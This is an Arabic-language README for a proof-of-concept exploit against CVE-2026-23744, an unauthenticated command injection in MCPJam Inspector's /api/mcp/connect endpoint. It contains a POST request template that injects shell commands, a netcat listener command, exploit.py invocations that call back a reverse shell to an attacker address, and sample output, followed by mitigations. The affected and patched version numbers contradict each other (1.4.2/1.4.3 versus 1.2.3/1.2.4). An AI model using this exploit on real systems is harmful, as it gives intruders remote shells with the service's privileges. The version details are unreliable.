
استغلال PoC لـ CVE-2026-23744 — RCE غير مصادق عليه في MCPJam Inspector عبر حقن أوامر serverConfig غير موثق على /api/mcp/connect، مما يتيح reverse shell كـ process owner بدون بيانات اعتماد.
MCPJam هي أداة مفتوحة المصدر لمفتش ووكيل MCP (بروتوكول سياق النموذج) تستخدم للاتصال وإدارة وتصحيح خوادم MCP. الإصدارات <= 1.4.2 تعرض نقطة النهاية /api/mcp/connect بدون مصادقة أو التحقق من صحة الإدخال. يمكن لمهاجم عن بُعد غير موثوق حقن أوامر نظام تشغيل تعسفية عبر الحقول serverConfig.command / serverConfig.args، مما يحصل على تنفيذ التعليمات البرمجية عن بُعد بصلاحيات مالك العملية.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-23744 |
| درجة CVSS | 9.8 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — تحييد غير صحيح للعناصر الخاصة في أمر نظام تشغيل |
| المكون | مفتش وكيل MCPJam |
| المتأثر | MCPJam <= 1.4.2 |
| المصحح | MCPJam >= 1.4.3 |
| ناقل الهجوم | شبكة — لا تتطلب مصادقة |
| تاريخ الكشف | 2026-01-15 |
تقبل نقطة النهاية الضعيفة طلب POST بتنسيق JSON غير موثوق:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
يمرر MCPJam command و args مباشرة إلى مشغل عملية Node.js
(child_process.spawn أو ما يعادله) بدون:
يمكن للمهاجم الذي يمكنه الوصول إلى المنفذ 3000 (الافتراضي) تقديم حمولة شل عكسية
في args[1]، للحصول على شل بصلاحيات مالك عملية MCPJam — غالباً
root أو حساب خدمة بصلاحيات وصول واسعة للنظام.
غياب وسيط مصادقة وسيط على /api/mcp/connect بالإضافة إلى الاستخدام غير المنضبط للقيم المقدمة من المستخدم في استدعاء spawn لعملية يؤدي إلى حالة حقن أمر نظام تشغيل غير موثوق (CWE-78).
pip install requests urllib3
-t, --target عنوان IP أو اسم المضيف المستهدف
-p, --port المنفذ المستهدف (افتراضي MCPJam: 3000)
-l, --lhost عنوان IP المحلي لاستدعاء الشل العكسية
-r, --lport المنفذ المحلي لاستدعاء الشل العكسية
--timeout ثوانٍ لانتظار توفر الهدف (افتراضي: 30)
--shell-timeout مهلة POST قبل افتراض سقوط الشل (افتراضي: 5)
-v, --verbose طباعة جسم استجابة HTTP كاملة
1. ابدأ مستمع netcat على جهازك:
nc -lvnp 4444
2. شغّل الاستغلال:
# أساسي
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# مفصّل + مهلة توفر ممتدة (أهداف بطيئة)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# مهلة شل أطول (أعطِ مزيداً من الوقت قبل افتراض إنشاء الشل)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · تنفيذ تعليمات برمجية عن بُعد غير موثوق عبر حقن serverConfig ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
معرف CVE : CVE-2026-23744
المكوّن : مفتش وكيل MCPJam
المتأثر : <= 1.2.3 → المصحح: >= 1.2.4
درجة CVSS : 9.8 (حرجة)
متجه CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — حقن أوامر نظام تشغيل
النوع : تنفيذ تعليمات برمجية عن بُعد غير موثوق (شبكة / لا مصادقة)
المرجع : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] فحص الهدف 10.10.11.50:3000 (بحد أقصى 30 ثانية) ...
10:32:02 [+] الهدف نشط — HTTP 200
10:32:02 [*] نقطة نهاية الاستغلال : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] استدعاء الشل العكسية : 10.10.14.5:4444
10:32:02 [!] تأكد من المستمع : nc -lvnp 4444
10:32:02 [*] إطلاق الحمولة ...
10:32:07 [+] انتهت مهلة POST بعد 5 ثوانٍ — من المحتمل إنشاء شل عكسية على 10.10.14.5:4444
10:32:07 [+] انتقل إلى مستمع netcat الخاص بك — يُتوقع اتصال وارد.
10:32:07 [+] اكتملت روتين الاستغلال.
انتهاء المهلة = مؤشر نجاح. عندما تنتهي مهلة طلب POST، تكون العملية الهدف محظورة على الشل العكسية المفتوحة — هذا هو السلوك المتوقع، مما يؤكد تحقيق تنفيذ التعليمات البرمجية عن بُعد. انتقل فوراً إلى المستمع الخاص بك.
| الأولوية | الإجراء |
|---|---|
| حرجة | تحديث MCPJam إلى >= 1.2.4 |
| عالية | تقييد /api/mcp/connect خلف وسيط مصادقة |
| عالية | تطبيق قاعدة جدار حماية على مستوى الشبكة لتقييد الوصول إلى منفذ MCPJam بعناوين IP موثوقة |
| متوسطة | السماح بالقيم المسموح بها فقط لـ serverConfig.command |
| متوسطة | تشغيل MCPJam داخل حاوية / مع مستخدم Linux مقيد (لا شل، لا /dev/tcp) |
| منخفضة | تمكين تسجيل التدقيق على أحداث spawn للعملية |
يتم توفير هذا الاستغلال بدقة للأغراض التعليمية واختبار الأمان المأذون. استخدمه فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المأذون غير قانوني وغير أخلاقي.